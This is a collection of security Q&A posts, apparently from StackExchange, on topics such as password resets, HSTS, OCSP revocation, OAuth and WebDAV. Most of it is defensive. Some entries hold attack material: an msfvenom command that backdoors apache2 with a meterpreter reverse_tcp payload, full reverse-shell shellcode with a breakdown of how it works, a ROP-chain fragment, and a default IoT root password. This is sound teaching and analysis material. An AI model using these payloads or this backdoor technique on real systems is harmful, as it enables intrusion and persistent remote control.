Why is it unsafe to send a user their password via SSL encrypted communication rather than always sending a reset link? I can understand why you wouldn't want to email someone their password, but on an SSL encrypted web page, I dont understand why websites always require you to reset the password when you'd probably prefer to keep it the same, you just forgot it.

SSL is completely secure right? So from a security standpoint, the only reason I can imagine someone would be vulnerable to having their password stolen would be if their PC were compromised, in which case creating a password would also render the new password compromised.

Three huge problems with this:

The server must be able to send the password, meaning the server knows the password, meaning the server admin/owner can read it too. This should never be possible (see many many topics about hashes, salts, and multiple-round derivation functions). While an admin with all server access already can impersonate users etc. as wanted, many users use their password for multiple things. The admin shouldn't be able to access these.
If the server is hacked, the same is valid for the attacker: They should not be able to read passwords, because they shouldn't be able to reuse them in other places.
And no, SSL is not "completely secure". Especially, TLS exists because SSL is pretty insecure (but TLS isn't perfect either).


How long would it take to generate a file to match a hash? A individual file only has a single hash of any specific byte length.  But an individual hash can represent a large number of different files.

Given a 256 byte hash, how long would it take to generate a file to match that hash?

In order to answer this question in a concrete manner, we will have to make some arbitrary decisions about available hardware.  Answers can assume the use of:

A single motherboard.
The fastest x86 processor available today, with up to 16 of those processors on the same motherboard, iff (if and only if) such a motherboard actually exists.
Up to 256GB of RAM, if supported.
The fastest graphics cards available for the processor, with as many as the cards as the motherboard will support.
Up to 256GB of RAM per graphics card, if supported.
Any operating system.
Any programming language or combination of programming languages.

Basically, let's assume a single realistic dedicated computer working on the task, not a distributed network.


What are the implications of removing SECURE_HSTS_INCLUDE_SUBDOMAINS = True with Django? At the moment my django site's email confirmation links are not clickable for about 60 seconds. However, if I open them using right click open in new incognito window they work.

I do have the following setting -- so the 60 seconds makes sense.

SECURE_HSTS_SECONDS = 60

This, from my understanding at least, is due to this setting in my production settings.py

SECURE_HSTS_INCLUDE_SUBDOMAINS = env.bool(
    'DJANGO_SECURE_HSTS_INCLUDE_SUBDOMAINS', default=True)

When I remove the include subdomains setting, I can click my links and all is well.
I want users to be able to sign up, but I also don't want to compromise security.

My email confirmation link is also being sent as http, as opposed to https. I am trying to get the link to generate as https, but have been unsuccessful. How big of a risk does sending the email confirmations as http pose?

I'm currently using mailgun to handle my emails and they don't support HSTS. So I am trying to figure out how necessary HSTS is, and if I should simply not be concerned about it, or find another service / workaround.

Here is another post I made on StackOverflow trying to figure this all out if you'd like more details.

Thanks in advance. Been stuck on this for weeks.

HSTS forces the browser to use HTTPS and protects it from falling victim to protocol downgrade attacks to HTTP.

It basically forces everything to use HTTPS and ensure secure communication between browser and server to prevent leaking sensitive information over a clear connection. The way it works is IF the browser has previously visited the website AND it has seen the HSTS for the website before, it will always force a secure connection. If it hasn't the HSTS header before, then your site users may still be vulnerable to an SSLstrip attack as the attacker may remove the HSTS header.

This communication is used between your website visitor and your server. Normally this header should not be relevant to Mailgun unless you have included a subdomain which points to Mailgun. The reason why HSTS may not be used is that it will force the subdomains to be using a valid SSL certificate. However the SSL certificate will be invalid as it's pointing to mailgun's domain and not yours.

Is this a security issue? It's a minor risk, there are several conditions that would need to occur for someone to be able to retrieve sensitive information through a subdomain. As long as you run your webserver HTTPS only on the main domain and your activation link is not calling your website directly it should be fine.

The other option you have is to send the activation links from a seperate domain.


Is server-side access control sufficient or should I encrypt querystrings I've got an ASP Classic system that passes around sequential ids corresponding to keys in the database.

I had gotten an encryption module (chilkat, an activex control) that I was using to encrypt and decrypt entire querystrings.

However, since I do validate a user's right to access a particular resource (noted by an ID on the querystring), do I still need to do URL encryption? Would my site pass a security audit in this case?

(or more importantly, should I continue doing both or is access control sufficient)

It is better to use non-sequential identifier (you can then log / monitor for attempts to access non-existent files for example) however by no means essential and its unlikely to fail an audit provided the role / authorization scheme you have in place is robust. You want to be sure you have full coverage of authorisation checks on access to "things".

You also need to ensure that the userId can't be altered to a different user. It is usually better to send the user a session token that is random and link that to a user session and identity / authorisation behind the scenes.

Testing your authorisation should be part of your regression cycle before every release and can readily be automated by the likes of HtmlUnit ( http://htmlunit.sourceforge.net/ ) or Selenium ( http://www.seleniumhq.org/ ).


How to log a ddos attack on a personal system Say, someone decides to DDOS me. If I'm certain this is happening, how would I go about logging the information done there to submit to the appropriate authorities. As well as who would be the appropriate authorities? IC3? FBI?
Country: United States

If you are suffering a DDoS, there is only one reporting route that has even the slightest chance of helping:

speak to your ISP and see if they are interested. Most aren't.

There is no law enforcement route, as typically a DDoS will be coming from machines in multiple countries all running as part of a BotNet.

You have 3 solutions:

Change IP addresses, so you aren't the target any more.
Buy more bandwidth so your pipe is bigger than the total bandwidth aimed at you.
Buy the services of a DDoS mitigation provider.


Injecting meterpreter/reverse_tcp into apache2 with msfvenom results in seg fault of apache2 I've been trying to use msfvenom with the linux/x86/meterpreter/reverse_tcp payload and an apache2 binary. My intent is to create a tainted version of apache2 to establish a persistent backdoor on the target machine. Below is the general command I've been trying

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.181.218 LPORT=4444 -f elf -e x86/shikata_ga_nai -x ./apache2 -o ./apache2_hacked

I then copy the apache2_hacked binary to the proper location and attempt to start it with service apache2 start. This results in a seg fault.

root@kali:~# service apache2 start

Job for apache2.service failed. See 'systemctl status apache2.service' and 'journalctl -xn' for details.

root@kali:~# systemctl status apache2.service

● apache2.service - LSB: Apache2 web server

  Loaded: loaded (/etc/init.d/apache2)

  Active: failed (Result: exit-code) since Fri 2015-09-18 15:49:24 EDT; 3min 37s ago

 Process: 3446 ExecStart=/etc/init.d/apache2 start (code=exited, status=1/FAILURE)

Sep 18 15:49:24 kali apache2[3446]: Starting web server: apache2 failed!

Sep 18 15:49:24 kali apache2[3446]: The apache2 configtest failed. ... (warning).

Sep 18 15:49:24 kali apache2[3446]: Output of config test was:

Sep 18 15:49:24 kali apache2[3446]: Segmentation fault

Sep 18 15:49:24 kali apache2[3446]: Action 'configtest' failed.

Sep 18 15:49:24 kali apache2[3446]: The Apache error log may have more information.

Sep 18 15:49:24 kali systemd[1]: apache2.service: control process exited, code=exited status=1

Sep 18 15:49:24 kali systemd[1]: Failed to start LSB: Apache2 web server.

Sep 18 15:49:24 kali systemd[1]: Unit apache2.service entered failed state.

Am I using the tool correctly? Are there any restrictions on templates I need to be aware of? Is there some special about the apache2 binary that prevents injection attempts like this?

Seems like the reference to segmentation refers to the 2 parts of the payload. Try staged and stageless variables, also cmd instead of meterpreter. I believe staged is one string and stageless is segmented. But im not sure i just started playing with msfvenom myzelf


Did D-Link's certificate revocation really only invalidate 1 day (of a six months long exposure)? I'm trying to wrap my head around the OCSP revocationTime for D-Link's certificate.

I recently answered another question and ended up drafting a timeline.

That timeline is basically this:

Jul  5 00:00:00 2012 GMT. Validity: Not Before
Feb 27          2015      Inadvertent disclosure
--- six months of nothing ---
Sep  3 00:00:00 2015 GMT. OCSP "revocationTime" backdated to this.
--- one day of invalidity (?) ---
Sep  3 23:59:59 2015 GMT. Validity: Not After
Sep 17          2015      Tweakers.net report
Sep 18          2015      TheRegister.co.uk report
Sep 20 14:00    2015      Is-it-revoked-yet?-question posted.
Sep 20          2015      Answer posted. OCSP `good`
Sep 22          2015      Update answer posted. OCSP `revoked`

And the question is this:

Does D-Link's move retroactively invalidate just 1 day of possible use/misuse of their key?

Or asked differently:

Will an (hypothetical) EXE signed on Sep 2 with the stolen key STILL work, despite the revocation?

And as a side/background question:

What is the general idea with OCSP's revocationTime? Are you supposed to backdate that to the first point in time that you think the key was compromised? (I tried to do my research. But I'm stuck. I couldn't find the explanation in the OCSP RFC. And a 2012 post on the PKIX mailing list by Martin Rex, didn't exactly clear things up for me either.)

OCSP provides a dynamic mechanism for checking whether a given certificate has been compromised or not and, in case it has been compromised, after what date (and time) should signatures using this certificate considered unsafe (basically, it is a dynamic version of CRLs).

This has several consequences:

OCSP responses SHOULD be backdated in case they indicate a "revoked" status. The reason for this is simple: a key is usually discovered to be compromised long after the actual control of that key has been lost. Therefore, it is logical to provide a way to inform users of that certificate whether old signature should also be considered invalid (without revoking ALL signatures).
Once a certificate has been revoked, it CANNOT be considered valid again.

All this is made more complex by the fact that OCSP responses can be 1) cached and 2) pre-produced. This means that, during a period of time after a certificate revocation status has been issued, it is possible for different OCSP clients to receive different answers. This situation can last until the date indicated by the nextUpdate field of the last "certificate valid" answer is reached.

So:

  Does D-Link's move retroactively invalidate just 1 day of possible use/misuse of their key?

No. They retroactively invalidated the certificate starting at 00:00:000 that day.

  Will an (hypothetical) EXE signed on Sep 2 with the stolen key STILL work, despite the revocation?

Yes because it was signed before the certificate revocation time.

  Are you supposed to backdate that to the first point in time that you think the key was compromised?

Yes and no: you're supposed to backdate it to the date when the key was last known to be safe.


What does windows meterpreter reverse TCP Shellcode do? I have just started learning msfconsole and I have used windows/meterpreter/reverse_tcp . I know this establishes a connection from the target system to our attacking system .

However I would like to know that when we generate the payload using msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x and LPORT=xxxx -f c . What does the char Shellcode mentioned there actually do .

"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x0a\x00\x02\x0f"
"\x68\x02\x00\x10\xe1\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

Does the shell code have any particular name?

I would like to know what the function of the above Shellcode is and if it has any particular name already assigned to it . I have tried converting to assembly language to understand but no luck.

Would appreciate the guidance.

This is the hex representation of the shell code which when generated in C can be assigned to an array. Once the shell code is assigned to an array, it can be executed directly through either function pointer (works in older Windows but DEP has issues with the function pointer method) or through the standard Windows API.

Coming to the shell code itself, it first uses the famous block API technique where all the important functions within the loaded modules are compared with a set of pre-listed hashes in order to find the base addresses of all the API functions we need. For example, the above shell code first searches of LoadLibrary in kernel32.dll, once it finds it, it uses the LoadLibrary in order to load ws2_32.dll which has all the necessary functions for creating a socket. Using the just created socket, the shell code will attempt a connection to the handler, receive the size of the second stage, and allocate and RWX memory region, store the received second stage in the RWX memory and pass on the control to the second stage.

That is all the above shell code is doing. Take a look at commented assembly code of the reverse_tcp shell code at https://github.com/rapid7/metasploit-framework/blob/0cbfd483ae9291583f8f3bdabe3cf168c5b78991/lib/msf/core/payload/windows/reverse_tcp.rb


Increased security from separating username and login name? I seen this question: Does username length/complexity positively impact security? which got me thinking about usernames/passwords from a developer-aspect.

If a developer for an application were to separate the user's 'username' (what they login with) from their 'display name' (what other users see) and add the ability for the user to change their 'username', would this necessarily increase security?

I had a few thoughts as to why it might help security that I'm not certain are valid.

If an attack is targeted it might help by adding another layer? Assuming the user keeps their login-name secret and there are rules to prevent it from being the same as your display name.
If your display name is separate from your username then you might be able to make it an option as a developer to change your username to add security similar to changing your password.

Not more secure and maybe less due to user expectations and behavior.

What you are proposing is no different than requiring a user to split their password into two pieces, entering one half in the username field and one in the password field. So it can't be better than having the combined string as a password.

But users will not likely treat their username as a secret. Nor will password managers. And maybe not even you and your developers. So half the user's password will be insecure.

There are well-known patterns for working with passwords and authentication. It is usually best to stay with them.


How to set up full disk file encryption? I want to set up my company's laptops in a way that all files created on these laptops can only be read by these laptops. If it is copied to a USB then that file is only readable when plugging that USB on a company laptop. If plugging in or copied to another non-authorized laptop then it is not readable.

Ernst and Young are using this technique to protect their data but I don't know what is it called and how to set it up.

What you are looking for is "Endpoint DLP". All files are encrypted on the device individually.

Note that it can be very expensive, and there will be unexpected consequences depending on your environment. In many companies, such a control is too much. It is a better control when the company is already highly regulated, like a bank or a government office.

Imagine someone making a shopping list in Word on their lunch break. They can't send that file home or email it to anyone because the DLP system protected it. This can create a lot of friction with your employees.

It's a great solution, but it can be "too good" for many contexts.


Policy mandate dilemma When writing security policies do you take into consideration user's (could be vendors) ability/capability to fulfil certain mandates in the policies or do you strictly want them to enforce, no matter what?

I ask this question because I am hit with this dilemma as some of the statements crafted are a bit stringent (For example, setting minimum password length of 12 or more, etc.) and I am afraid that the one who enforce my policy statements would be unable to achieve at this point in time (they could be small vendors/users that doesn't have very good security setups etc.).

Update:

I am sorry for the confusion. My policy may (or may not) include a part on outsourcing at this point in time, as it is only a draft. The question I asked is about whether we create a policy based on what the users/vendors can achieve or we basically don't give a hoot and make it a strict policy to enforce, because after all, it is security we are talking about. And if it's a critical system, then all the more we should allow no exception. Practically a "all must do it, i don't care. " mentality. Who is going to get blamed when things happen?  The security team right?

To quote AviD on this:

  Security at the expense of usability comes at the expense of security

If you make it too hard to fulfill a security policy, people will either ignore it or look for loopholes and workarounds which fulfill it to the letter but not to the spirit. So you will reach the opposite of what you intended and weaken security.

A security policy therefor should:

Have the goal to make people sensitive for problems instead of enforcing solutions.
Encourage people to take responsibility for maintaining good security instead of blindly following instructions.
Be mostly SHOULD policies and not MUST policies, so people can diverge when they have good reason.
Find a reasonable compromise between security and usability.

Anecdote: I friend of mine worked in a team maintaining a system with a very stringent password policy. Not only did it mandate regular password changes, a minimum length and the use of numbers, lower-case, upper-case and special characters, it also had a long set of rules which had the intention to prevent passwords from being too similar to previous passwords. The result was that you usually could find papers in the bins or littered around the office where people tried to construct passwords to fit these stringent policies. Thanks to the password policy it would have been ridiculously easy to obtain passwords through dumpster diving.


Make the public key unrecoverable given the private key OpenSSL seems to bundle the private key together with the public key when it produces .pem files. Is there a way to prevent this from happening; i.e. prevent OpenSSL from creating a .pem private key with the public key in it? According to Wikipedia RSA's public key is not directly derivable from the private key.

The specific usage scenario is: I'm creating a little service where everybody can ssh tunnel to a server to anti-block. To facilitate this (and make it automagic) I distribute a SSH private key with my program that it uses to then log into one of the servers. We don't need to authenticate our users - anybody can use the private key to log in and the user has no permissions other than open up a tunnel - but we do need to prevent against MITMs. known_hosts is not good since our servers are on dynamic IPs that are distributed with something that isn't DNS. So, the thing we want to keep secret is our "authorized_keys" file which contains the public key for login. But any attacker can just use PuTTYgen to generate the public key from the private key and set up a MITM server that the user can successfully authenticate to...

For the commonly used cryptographic algorithms, the public key can be recomputed from the private key. An edge case can be a RSA key with a big public exponent (i.e. not the traditional 65537) and without knowledge of the modulus factors. This contradicts the standard storage format described in PKCS#1; not knowing the factors means that private key operations won't be optimized with the CRT, so signatures and decryption will take four times as much CPU; and, last but not least, public exponents which do not fit on 32 bits will not be supported by some widespread RSA implementations (the CryptoAPI in Windows, namely).

Therefore, it does not seem practical to try to "hide" the public key from the private key holder.

In your case, you cannot prevent a MitM attack from the server side, and even if you could "hide" the public key, then this would buy you nothing: the attacker could mount a modified server which accepts every user as "valid" regardless of the public key they use to authenticate. If you want to protect your users against a MitM, have their software verify that it talks to the right server, i.e. yours. This is what plain SSH does with the known_hosts file. If you cannot use this facility but cannot distribute a modified SSH client either, then you will have to rely on user education: teach them that when they connect to your server and their client (e.g. PuTTY) grumbles about the server key not being known, make them verify the "key fingerprint" which the client will display: it should match the fingerprint of your server key.


can one obtain a file listing from a protected directory when one has not authenticated I am monitoring a webdav service that has been probed repeatedly since the beginning of February.  The Apache 2.4 httpd server hosts just this one application.  Access to the application is only possible over https and is controlled by an .htaccess file.   Various directories in the web site directory tree are further restricted by an .htgroup file.

The probes have not actually retrieved any files. All attempts to GET result in a 401 Forbidden code. However, the probe is using actual file names found in the directory tree.

There is no ssh service to this host available except when explicitly manually enabled; and then only to internal private ip addresses.

My question is: what technique is/was used to discover the file names and directory structure? I have been trying to find a way to accomplish this and I cannot discover it.  But clearly, there must be some way this information was obtained by the probing party.

This depends on the configuration of the server. If authentication is limited to specific methods like GET then it might be possible to get a listing without authentication using the PROPFIND method. If authentication is required for every method this will not be possible.


What is the point of restricting a google API key by HTTP referer? If someone has the key and a valid referer, they can use the API key from any client as long as the set referer header, correct?

So is it worthwhile to use this restriction?

All security measures are trade offs.  Is the cost of the control worth more or less than the value of what is being protected, and how much more work does it force the attacker to do.

A lock on your luggage may stop a casual thief from opening your bag to grab something, but it won't stop someone stealing your bag.  But the cost is low, so it is a still a useful security control.

So, just because a malicious agent could copy the referrer header, they may not have the time or inclination to do so.  Think of a valid referrer header like a concert wristband.  Can you forge them, or sneak around the guard checking wristbands?  Sure you can, but it doesn't make the band useless.

It raises the cost for the attacker.

Likewise, your standard, non-modified, well-behaved application will tell the truth about the last page it came from, and then will correctly be denied API access.  Maybe somebody trying to abuse your service doesn't know you are checking referrer headers on the server, and will give up.

So, in answer to OP's question "worthwhile" is a value judgement only you can make.  How much effort does it take you to check referrer? Probably not much.  How valuable is protecting use of your API key? Probably more.  Is that amount of effort on your part worth the speedbump you'll place in the attacker's way?

That last one is your call.


Can malware cause firefox to send GET requests? Is it possible for a site to host malware such that if a certain page is accessed, Firefox is made to send additional GET requests?  I'm seeing traffic for attacks coming from me that I haven't done.

--- clarification

"I" am sending SQL injection strings, when really I am not; ajax can do this?

Yes it can, for example using :

Ajax
A reference to an external JS or css file
An iframe
or even a HTTP 302 redirect.

This can be used by online malware to generate trafic for a DDoS Attack.

Note, all those are used for legitimate purpose on many (most) websites, and hence do not imply a malicious behavior.

In response to your edit: Yes, Ajax can do this, although I don't think I've already seen this for SQL Injections (whereas XSS or XSRF for example are frequently exploited this way). Other possibilities might include that your server has been compromised and is used as a proxy by an attacker to conduct SQL Injection attacks, or you are running a Tor exit node that is used by an attacker (whether you know it or not).


Knowing Input&Output, How to determine encode method and the passkey that was used in encoding? I've looked on this site and on SE. but I couldn't get a handle on this. Is there a way to find what type of encoding (and/or encode key) is being used? For example, I am testing a web application(PHP) which will encode the links before it will be showed to the end-user.

For example, the source link is:
https://www.amazon.com/gp/drive/share?s=OUhODh-US9cj1EVKlakRWw

Then the encoded output the link will be:
Wkt6OVpIeHBLR0J1Umx6TkdVRWRlZm03MExydXhnTTI4UEUvTGN1YkM1VW5Ma2JkQUJ4T3hMNDNhWjREZ3ZoNlUyd1lETmRoRlZlRFZlRVdNVzY0OGc9PQ==

Is there a way to find out which encode method was used and the passkey (the string that was used to mix/replace the input string to produce the output string).

Aside from just trying a bunch of common hashing/encoding sequences on the original strings and hoping to stumble across a matching output? If I have a lot of input strings and output hashes does that help in any way for analysis?

First, a definition.  In computer science, an "encoding" is an alternate way of representing data, without any effort being made to disguise the data (ASCII, EBCDIC, and ISO-8859-1 are all examples of text encodings, while base64 and uuencoding are examples of binary-to-text encodings).  On the other hand, "encryption" is a method of masking the nature and value of the data (AES, DES, and RC4 are all examples of encryption, as is the much older Caesar cypher).

Figuring out what type of encryption was used to encrypt something is a form of distinguishing attack, a type of analysis encryption schemes are designed to resist.  Identifying an encoding, on the other hand, can often be done through statistical or heuristic analysis.

In your case, the data is almost certainly an encoding, base64, which is simply a way of representing binary data within the limits of a system designed to handle text.  Specifically, it appears to be a block of 64 bytes of binary data that has been base64-encoded twice (the double equals sign on the end is strongly reminiscent of base64, as is the general pattern of upper- and lower-case letters).


How can I secure my security cameras? I have dozens of cheap security cameras in my offices. I was under the assumption that, once I changed the admin password, disabled the insecure "P2P Mode", disabled UPNP, disabled guest access and changed default ports I was safe.

After the Mirai hack, I was shocked to see that my "security" camera it's accessible via telnet with root:xc3511.

Now, the telnet port shouldn't be forwarded outside by the router, but still it's a problem. What if some PC on the LAN gets infected by some malware?

I would suggest that rather than trying to protect the camera from the outside world with a firewall that using a black hole router as the only gateway for these devices would be more restrictive - also if you have a physical device at the router's address then it would make monitoring of egress attempts more visible. Also, point the device to the same black hole for DNS queries.

If you need remote access then use a VPN with NAT.


Trouble building a ROP chain I am trying to exploit a small program. The program looks somewhat like this:

int func(void) {
    char text[100];
    scanf("%s", text);
    return 0;
}

int foo(unsigned short rand) {
    char RandomBuffer[rand];
    return func();
}

int main(int argc, char* args[]) {
srand(time(NULL));
    return foo(rand() % 1000);
}

I used ROPgadget to build a ROP chain. The tool finds a gadet which is needed for the attack:

 Gadget found: 0x8058fcc pop edx ; ret

My ROP chain starts like this:

p = ‘rnd padding’
p += pack('<I', 0x08058fcc) # pop edx ; ret

However when executing my exploit I get:

Stopped reason: SIGILL
0x08058fcc in _int_memalign ()

The EIP points to the address computed by ROPgadget but somehow it is not the correct command.

EIP: 0x8058fcc (<_int_memalign+108>:    lock mov eax,esi)

What am I missing?

Cheers

Without further analysis it is hard to determine the exact cause of this. One common issue is that running the application under a debugger changes the memory layout slightly and can be enough to break the exploit with/without a debugger attached. Have you tried running it without a debugger attached and then analysing the core dump?

However pop edx;ret shouldn't be overly difficult to find, either at another address or through a slightly longer gadget such as pop edx; pop eax; ret. Putting together a ROP chain is a puzzle and there is more than one way to do it.


Virtualized or Container (Remote) Based Browser Isolation is more secure? There obvious costs differences between them but I am not sure from a security perspective which of them considered to be more secure.

In short: no isolation is the worst. Isolation by sandboxes is better but costs more resources. Isolation by containers is even better and costs even more resources. Isolation by VM is again better and costs again more resources. And isolation by hardware is even better and costs even more resources. Of course, implementation details are relevant and might actually cause more secure technologies to behave less secure.


OAuth Authorization flow and redirect I started looking at OAuth - Google's and Facebook's implementation. Both of the implementations, in the authorisation flow, seem to send the "Authorization code" back to the web browser. I was wondering what is the benefit of sending the code to the browser vs just hitting the redirect_uri from the authorisation server? If we send code to the browser we risk that someone somehow gets hold of it while the risk does not exist if the code is sent straight to the server (redirect uri target).

The delivery of the Authorization Code is not more a security issue than is sending the user's password from the browser to the facebook server (for example). That means, if there is an insecure connection, an attacker would be able to compromise the user's authentication anyway. For that reason, OAuth is meant to be executed with HTTPS.

The reason why it needs to be implemented like that is because only this way the OAuth client is able to identify the user who requested OAuth. This is because when a user for example clicks on the facebook button on StackOverflow, it immediately connects him to facebook where the OAuth process starts. StackOverflow so far doesn't know that this user requested OAuth via facebook. Only through now redirecting the user to StackOverflow along with the Auth Code does StackOverflow know that this user (with his session ID) used facebook OAuth and got this Auth Code. Now StackOverflow is able to connect Session ID with Auth Code and knows who requested facebook's OAuth.

edit
I've looked at the RFC of OAuth, and I have to make a correction regarding my first point. While it is highly recommended for the redirect endpoint to use HTTPS, it is not mandatory yet. See Endpoint Request Confidentiality. So the Auth Code indeed might be sent unencrypted at some point, that is when redirecting to the original server which has not HTTPS activated. But still, to me this is a huge security issue with the whole OAuth process. HTTPS should imo be mandatory. If a server can't HTTPS it's connection, it shouldn't play with OAuth after all.


Should we protect web application source code from being stolen by web hosts through obfuscation? Is it worth to obfuscate a java web app source code so that the web host cannot make wrong use of the code or even steal your business? If so, how should this be dealt with? How should we obfuscate?

We are a new start up launching a product in market. How can we protect our product/web application's source code?

A malicious hosting provider can do a lot more than simply steal your code. They can modify it to introduce backdoors, they can steal your clients' data, and ruin your whole business. Trust must exist between you and the host.

About the source code. If the attacker is trying to gain access to your source code, they will gain access to your source code, obfuscated or not, compiled or interpreted.

There is a value in obfuscating your code, in that you'll probably make it just a liiiiitle bit more difficult to be obtained by the occasional opportunistic attacker. But if your host is out to get you, they'll get you.

The solution? The law. Sign a contract with them and agree on some form of NDA.


Why would a website allow answers to security questions to be used interchangeably? I needed to reset my password on a website that uses security questions for the purpose, and I noticed something strange. My hypothetical security questions are (not the ones I actually use) are:

What is your name? John
Where do you live? Chicago

To reset, I'm prompted to answer both questions; however, it doesn't matter which answer I use for which question, so long as the answer I use is correct for at least one question. All of these combinations work:

  John/Chicago, Chicago/John, John/John, Chicago/Chicago

If either field is an incorrect answer to either question, the page returns an error, so

  John/-incorrect-, -incorrect-/John, Chicago/-incorrect-, -incorrect-/Chicago

all fail.

This must be a bug, right? It seems like an almost deliberate "convenience feature" that actually dramatically reduces the already-limited effectiveness of the security questions.

In short, somebody misplaced an OR where an AND should be. Indeed a big mishap on the part of the developer. Your assumptions about its security are correct.


UDP a logical choice for transmitting small amounts of data out of a secure network? Just, in general, if someone needs to send data that is (1) never bigger than the payload of a UDP packet, (2) does not need to reliably get there, sending UDP packets is the logical choice?

Even from within highly secure networks, a client can safely communicate its status to servers on the public internet with a burst of UDP packets, and there is no security risk?

As long as you are using proper encryption and authentication (such as with DTLS, a TLS-like protocol that works over UDP), it should be completely fine. The standard caveats apply, for example message loss is possible, any datagrams with spoofed source addresses will still be received, etc. UDP itself is merely a transport protocol, so all confidentiality, authentication, and integrity must be done above it. In this case, the question becomes whether or not DTLS, QUIC, or whatever you use is sufficient for your needs, which is a different question.


Does WPA2 Enterprise also authenticate clients to the 802.1X protected switch port? In an 802.1X protected LAN, the switch port is usually set to "Multiple Hosts" mode and the access point is configured as an 802.1X supplicant which authenticates to the switch and "opens" the port. The access point can now freely bridge wireless clients to the LAN and has the responsibility of authenticating each wireless client.

This is insecure because you can unplug the LAN cable from the access point and plug it into a rogue switch along with the access point and the access point would authenticate and grant LAN access to the rogue switch where unauthorised devices can be connected.

Changing the switch port to "Multiple Sessions" mode will require all hosts to authenticate even if plugged into a rogue switch with the authenticated access point. If the Wi-Fi uses WPA2 Enterprise (802.1X based) as well, will this somehow authenticate the wireless clients to the switch so that they can access the LAN?

I will start by saying that while some access points can be configured as a client to authenticate to an 802.1X protected switchport, not all can.  Further, you can't enable 802.1X on a trunk/tagged port, so you won't be able to do this if you have an access point configured to handle multiple VLANs (i.e. multiple SSID/VLAN mappings with an autonomous AP or some vendors with 802.11ac are moving away from tunneling all traffic back to controllers).

I am not aware of an access point that will work in a "multiple session" mode as you describe.  I think the first hurdle here is that the AP functions as a NAS itself, so the client is already authenticating to the network.  This would potentially require a second 802.1X authentication by the client to the switch.

The second hurdle is that this would break any ability to run multiple SSIDs on different VLANs or to have the AP management IP address on a separate VLAN than the users.  In a "multiple session" mode typically all devices must have the same VLAN assignment or they will be denied access.

Ultimately access points are part of your infrastructure and you should always look at physical security for all infrastructure.  How are you securing your switch to switch links that are not participating in 802.1X?  This is a security vulnerability as well if not secured properly.

For instance, I would start with some sort of cable locking device such as this one from Panduit.  While not perfect, at less than $10 per AP it does make a cable much more difficult (either accidentally or from tampering) to remove without the "key" tool.

If you wanted more security I would use an enclosure to contain the AP and cabling.  These will range from about $50-300 per location and provide differing levels of security (depending on make/model).  If you go with a metal enclosure, you will need to use an external antenna to prevent the enclosure from interfering with signal, which may add additional costs.


Is it suspicious that netstat shows many established connections related with 5KPlayer? I am working on an ASP.NET application and, as usually, tried to deploy it on IIS Express from Visual Studio. This time, IIS error occured. The error was caused by the application port being occupied by another application (which was pretty strange).

This made me check ports with netstat and what I found was that over 2500 established connections were related to 5KPlayer (which I installed long time ago), and another ~2700 to mDNSResponser. Some of the connections are on the screenshot below:

I immediately killed the 5KPlayer.exe process and connections were also killed. I am wondering if this is something which I should bother about? Could this be some kind of an attack attempt? Is there any way I can check what was happening during these connections?

Note that the local address for each connection is on '127.0.0.1', aka localhost.  Because this is a virtual interface, sockets/connections on localhost can only talk to localhost itself.  It looks like 5KPlayer is making a bunch of mDNS queries and leaking the sockets (e.g., not closing the connection when it's finished).  This is almost certainly a bug in 5KPlayer, but not one that indicates an attack or is going to leave you open to security issues.  It's essentially the networking equivalent of a memory leak -- irritating, but not threatening.


Security Concerns in an Inventory TOTP Scheme using Time-Variant Keys Assume we chose to change the secret key in HMAC generation for TOTP, every second.

How can we authenticate to such a scheme assuming a 32 byte key is randomly generated passing posix time to srand() for seeding and calling rand() 8 consecutive times.
What is the validity duration of each OTP?

The security scheme of TOTP states that the secret is a long-term shared secret. The scheme doesn't make any assumption about validity of tokens in cases which are simply not foreseen by the specification. So you are asking for something which is completely outside the scope of what the TOTP concept addresses.It's like asking "if inc on paper was invisible, how would we read?" and the answer is: Inc is not invisible, for a very good purpose.
Maybe you want to ask something different like "how can we make this more secure by changing the long-term shared secret to something more dynamic". If so, please rephrase the question.


How to Conceal/Detect PGP Symmetric Algorithm Used When Symmetrically encrypting a file, (not signing, not an asymmetric encryption question), is it possible to conceal the encryption algorithm used, or is it already concealed, but just showing on systems as a result of being cached somehow?

